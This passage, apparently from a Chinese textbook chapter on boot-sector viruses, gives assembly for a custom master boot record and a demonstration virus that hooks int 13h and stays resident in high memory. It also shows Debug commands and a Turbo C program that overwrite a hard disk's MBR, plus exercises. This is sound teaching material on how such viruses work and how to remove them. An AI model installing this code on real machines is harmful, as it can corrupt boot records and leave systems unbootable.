JNZ  CLOSE_LOOP         ;ZF=0,有键输入,结束延时
JB LOOP_OUT
;复制自己从0:7C00H到0:600H
CLOSE_LOOP:
MOV AX,CS             ;设置段地址
MOV ES,AX
MOV DS,AX
MOV CX,0100H          ;复制次数为100H次
MOV DI,600H           ;设置目的开始地址
MOV SI,7C00H          ;设置源开始地址
REP MOVSW              ;每次复制2字节
DB 0EAH                ;跳转到复制结束后的READ_OLD_SECTOR
DW POS2-POS1+600H,0
READ_OLD_SECTOR:
POS2  EQU  $
MOV AX,0201H
MOV BX,7C00H
MOV CX,3
MOV DX,80H
INT 13H
DB 0EAH                ;跳转到0:7C00H
DW 7C00H,0
DB   16AH DUP('V')     ;填充多余空间
DW 0AA55H             ;定义引导标志
.EXIT 0
END

根据以上代码还可以学习到,JMP指令的一种特殊用法,不直接使用JMP,而是使用其机器码0EAH后加跳转地址的办法。大家可以试验一下,能否使用JMP POS2-POS1+600H代替,或者将指令修改为JMP READ_OLD_SECTOR?

将有效程序段填充为512字节长度,让引导标志0AA55H正好位于扇区的最后。这里用16AH个字符V来填充。可通过如图2-10所示的方法进行观察。


图2-10  观察填充数据


注释:
能否在显示字符串时使用DOS的中断功能?上面的程序能否在DOS下直接执行?答案是否定的。

2. 实现步骤

(1) 准备系统盘
选择一张软盘,在DOS下执行Format A:/S,表示格式化软盘且向它复制DOS系统文件。

(2) 备份主引导扇区数据到软盘
可以编写一个程序实现,也可以用Debug实现。这样做的目的是,万一系统崩溃了,还可以用软盘启动恢复。如果用Debug,步骤如下:

① 建立一个文件,如ddd.txt,随便输入几个字母,如aaaaaaaaaaaaaa。
② 使用命令Debug ddd.txt将该文件装载到内存。使用命令d可以看到,文件在内存中位置为126C:0100H~126C:010DH,如图2-11所示。


图2-11  读文件到内存

③ 读主引导扇区数据到内存126C:0100H开始的区域,代码如图2-12所示。因为偏移地址100H~2FFH要用来存放引导扇区数据,故代码从300H开始。

图2-12  读主引导扇区数据

④ 保存内存数据到文件ddd.txt。操作如图2-13所示。需要注意以下几点:
● 寄存器BX、CX用于保存文件ddd.txt的大小,我们要将新的数据写入,所以必须修改它们。
● CX修改前的大小为0Eh,这是原来ddd.txt的大小。主引导扇区长512字节,故修改为200H。
● 命令W用于将当前位置开始(100H)、长度为BX.CX的数据写入文件。

图2-13  保存内存数据到文件
将ddd.txt和Debug.exe复制到格式化后的软盘。假设由于程序原因造成系统崩溃,用软盘启动后运行Debug,用与上面类似的办法将ddd.txt写入主引导扇区。

也可以不备份到文件,用备份到第3扇区的数据覆盖主引导扇区即可。
(3) 移动主引导扇区数据。假设要移动到第3扇区,方法如图2-14所示。也可以另外写一个程序。

(4) 安装新的主引导程序

方法与前面类似。可以编写一个独立程序,首先读文件boot.com的从7C00H开始的200H字节数据到分配的内存,然后将其写入主引导扇区。也可以使用Debug,代码如下:

图2-14  移动主引导扇区数据

C:> Debug  boot.com
-a
128C:0100  mov ax, 0301
128C:0103  mov bx, 7c00
128C:0106  mov cx, 0001
128C:0109  mov dx, 0080
128C:010C  int 13
128C:010E  int 20
128C:0110
-g
Program terminate normally

2.4 实验2:接管中断程序设计

2.4  实验2:接管中断程序设计

病毒是如何修改中断,使正常程序在调用中断前先执行病毒代码呢?这是本节要讨论的问题。
下面的代码演示了在DOS启动前是病毒如何接管int 13h,使自己的int 13h是如何常驻内存的。其中涉及到了0:413h位置处数据的修改,如何计算自己的int 13h的长度,如何将自己复制到内存高端等内容。

;文件名 BOOT.ASM
.MODEL TINY
.CODE
.STARTUP
DB 7B00H  DUP(0)   ;com格式程序从100H,加7B00H让其从7C00H开始,与引导同
POS1  EQU  $       ;POS1等于当前偏移地址
JMP START           ;跳过数据部分
db 3bh  dup('x')     ;放磁盘介质参数 
INFO1  DB "HELLO,WORLD",0
COLUMN1    DB   30    ;定义列号,字符从此位置开始
START:
mov  sp, 7c00h
xor  ax, ax
mov  ss, ax
mov  ds, ax
;滚动屏幕,设置背景色且清除屏幕已有字符
MOV SI,OFFSET INFO1 ;用SI表示字符串偏移地址
MOV AX,0600H 
MOV DX,184FH       ;滚动的行、列数
MOV CX,0
MOV BH,0           ;背景颜色为黑色
INT 10H
AGAIN:
;移动光标位置(COLUMN1,10)
MOV AH,2
MOV DH,10   
MOV DL,COLUMN1
MOV BH,0
INT 10H
;在光标处显示字符
MOV CX,1
MOV AH,9
MOV AL,[SI]
MOV BL,12
MOV BH,0
INT 10H
INC SI
INC COLUMN1
CMP BYTE PTR[SI],0    ;到0结束
JNZ AGAIN
;等待键盘按键,无按键则一直停留在此处
MOV AH,0
INT 16H
;修改int 13h
cli           ;修改时关闭中断为好
mov  ss, ax
mov  ax, ds:[004ch]
mov  Old13_offset, ax
mov  ax, ds:[004eh]
mov  Old13_seg,    ax
mov  ax, ds:[413h]
dec  ax
dec  ax
mov  ds:[413h], ax
mov  cl, 06
shl  ax, cl
mov  es, ax
mov  ds:[004eh], ax
mov  ax, offset new_int13h
sub  ax, 7c00h
mov  ds:[004ch], ax
mov  cx, int13h_end-7c00h
mov  si ,7c00h
mov  di ,0
cld
rep movsb
sti
;复制自己从0:7C00H到0:600H
MOV AX,CS             ;设置段地址
MOV ES,AX
MOV DS,AX
MOV CX,0100H         ;复制次数为100H次
MOV DI,600H          ;设置目的开始地址
MOV SI,7C00H          ;设置源开始地址
REP MOVSW             ;每次复制2字节
DB 0EAH               ;跳转到复制结束后对应的READ_OLD_SECTOR
DW POS2-POS1+600H,0
READ_OLD_SECTOR:
;读硬盘的主引导扇区
POS2  EQU  $
xor ax, ax
mov ES, ax
MOV AX,0201H
MOV BX,7C00H
MOV CX,1
MOV DX,0100H
pushf
mov di,offset Old13_offset
sub di,7c00h
add di, 600h
push cs:[di]
mov di,offset Old13_seg
sub di,7c00h
add di, 600h
push cs:[di]
retf
DB 0EAH              ;跳转到0:7C00H
DW 7C00H,0
int13h_start  equ  $
new_int13h proc
sti
push ax
push bx
push cx
push dx
push si
push di
pushf
cmp  dl, 80h
je  do_hard
cmp  dl, 0h
je  do_floppy
mov bx, offset inf3
jmp show_asc
do_floppy:
mov bx, offset inf1
jmp show_asc
do_hard:
mov bx, offset inf2
show_asc:
mov al, cs:[bx]
mov bx, 0
mov ah, 0eh
int 10h
inc bx
cmp byte ptr cs:[bx], 0
jnz show_asc  
popf
pop  di
pop  si
pop  dx
pop  cx
pop  bx
pop  ax
db   0eah
Old13_offset  dw  ?
Old13_seg     dw  ?
iret
inf1  db "Operate Floppy!",0
inf2  db "Operate HardDisk!",0
inf3  db "Unkown!",0
new_int13h endp
int13h_end  equ  $
DB   0adh DUP('V')      ;填充多余空间
DW 0AA55H              ;定义引导标志
.EXIT 0
END

2.5 清除病毒程序设计

2.5  清除病毒程序设计

用未被病毒感染的带系统的软盘启动计算机后,用int 13h的功能2在磁盘中寻找被病毒藏匿的原引导扇区代码,用功能3将其回写到原来的位置即可。

以上节的病毒为例,用Turbo C 2.0编写下面的代码来清除该病毒。

/*mloader.c*/
#include "stdlib.h"
#include "stdio.h"
#include "dos.h"
#include "fcntl.h"
#include "sys\stat.h"
/*这里是自制mbr的机器码512个字节,可以读一台同样机器的*/
char sector[512]={
0xfa,0x33,0xc0,0x8e,0xd0,0xbc,0x00,0x7c,0x8b,0xf4,0x50,0x07,
0x50,0x1f,0xfb,0xfc,0xbf,0x00,0x06,0xb9,0x00,0x01,0xf2,0xa5,
0xea,0x1d,0x06,0x00,0x00,0xbe,0xbe,0x07,0xb3,0x04,0x80,0x3c,
0x80,0x74,0x0e,0x80,0x3c,0x00,0x75,0x1c,0x83,0xc6,0x10,0xfe,
0xcb,0x75,0xef,0xcd,0x10,0x8b,0x14,0x8b,0x4c,0x02,0x8b,0xee,
0x83,0xc6,0x10,0xfe,0xcb,0x74,0x1a,0x80,0x3c,0x00,0x74,0xf4,
0xbe,0x8b,0x06,0xac,0x3c,0x00,0x74,0x0b,0x56,0xbb,0x07,0x00,
0xb4,0x0e,0xcd,0x10,0x5e,0xeb,0xf0,0xeb,0xfe,0xbf,0x05,0x00,
0xbb,0x00,0x7c,0xb8,0x01,0x02,0x57,0xcd,0x13,0x5f,0x73,0x0c,
0x33,0xc0,0xcd,0x13,0x4f,0x75,0xed,0xbe,0xa1,0x06,0xeb,0xd3,
0xbe,0xc0,0x06,0xbf,0xfe,0x7d,0x81,0x3d,0x55,0xaa,0x75,0xc7,
0x8b,0xf5,0xea,0x00,0x7c,0x00,0x00,0x69,0x6e,0x76,0x61,0x6c,
0x69,0x64,0x20,0x70,0x61,0x72,0x74,0x69,0x6f,0x6e,0x20,0x74,
0x61,0x62,0x6c,0x65,0x00,0x65,0x72,0x72,0x6f,0x72,0x20,0x6c,
0x6f,0x61,0x64,0x69,0x6e,0x67,0x20,0x6f,0x70,0x65,0x72,0x61,
0x74,0x69,0x6e,0x67,0x20,0x73,0x79,0x73,0x74,0x65,0x6d,0x00,
0x6d,0x69,0x73,0x73,0x69,0x6e,0x67,0x20,0x6f,0x70,0x65,0x72,
0x61,0x74,0x69,0x6e,0x67,0x20,0x73,0x79,0x73,0x74,0x65,0x6d,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xaa
};
char buffer[512];
/*复制硬盘分区表的子程序*/
void copypart(char * src,char *dest){
char plength;
plength=0x40;
while(plength>=0)
{
*(dest+plength)=*(src+plength);
plength--;
}
}
/*本程序将会先备份硬盘的mbr后进行覆盖*/
void main()
{
char filename[20];
int fp;
printf("\nBACKUP FILE NAME:");
scanf("%s",filename);
fp=open(filename,O_CREAT|O_BINARY,S_IREAD||S_IWRITE);
if(fp==-1){puts("\nFILE OPEN ERROR!");exit(1);}
/*读取主引导扇区*/
while((biosdisk(0x02,0x80,0,0,1,1,buffer))!=0);
copypart(buffer+0x1be,sector+0x1be);
/*call bios disk service */
/*return 0 if successful*/
/*备份Mbr到0面0道3扇和7扇*/
while((biosdisk(0x03,0x80,0,0,3,1,buffer))!=0);
while((biosdisk(0x03,0x80,0,0,7,1,buffer))!=0);
/*正式覆盖染毒的mbr*/
while((biosdisk(0x03,0x80,0,0,1,1,sector))!=0);
/*将染毒的mbr内容备份到文件中,总之此方法一旦不奏效我们还可以恢复到原先状态,*/
write(fp,buffer,512);
close(fp);
puts("\nInstall O.K.");
}

2.6 本章小结

2.6  本 章 小 结

引导型病毒似乎很难再遇到,就像今天的学生基本没用过DOS。但BIOS中断仍然在,引导程序仍然在,只是较少人去关注它。本章的知识既有利于掌握引导型病毒的原理,也有利于认识磁盘,认识系统启动过程,从程序设计的角度掌握引导程序的编写。

2.7 习题

2.7  习    题

1. 试叙述引导型病毒的主要特点。
2. 试验利用Debug编程读出引导扇区,然后反汇编分析。
3. 读出一个硬盘的MBR,然后分析磁盘逻辑分区结构。
4. 试验:先格式化一张软盘,用int 13h修改FAT中的某项为0xFFF7复制尽量多文件,验证其对应的簇是否会被文件使用。

5. 设计一个自己的引导程序,使程序先提示要输入密码,密码正确才能进入系统,否则死机。思考怎么实现。
6. 分析病毒代码是如何复制自己到高端内存,然后修改内存的高端位置标记值的。
7. 将书中接管中断程序设计例子编译成可执行文件,然后安装。再实验在Debug下调用int 13h分别读硬盘与软盘,观察出现的现象。


原文网址: http://book.51cto.com/art/200711/60457.htm

上一篇:系统引导过程分析与编制

下一篇:小型操作系统开发

备案ICP编号  |   QQ:285250603  |  地址:湛江市  |  电话:15322199012  |  
Copyright © 2026 天人文章管理系统 版权所有,授权www.yajiupc.top使用 Powered by 55TR.COM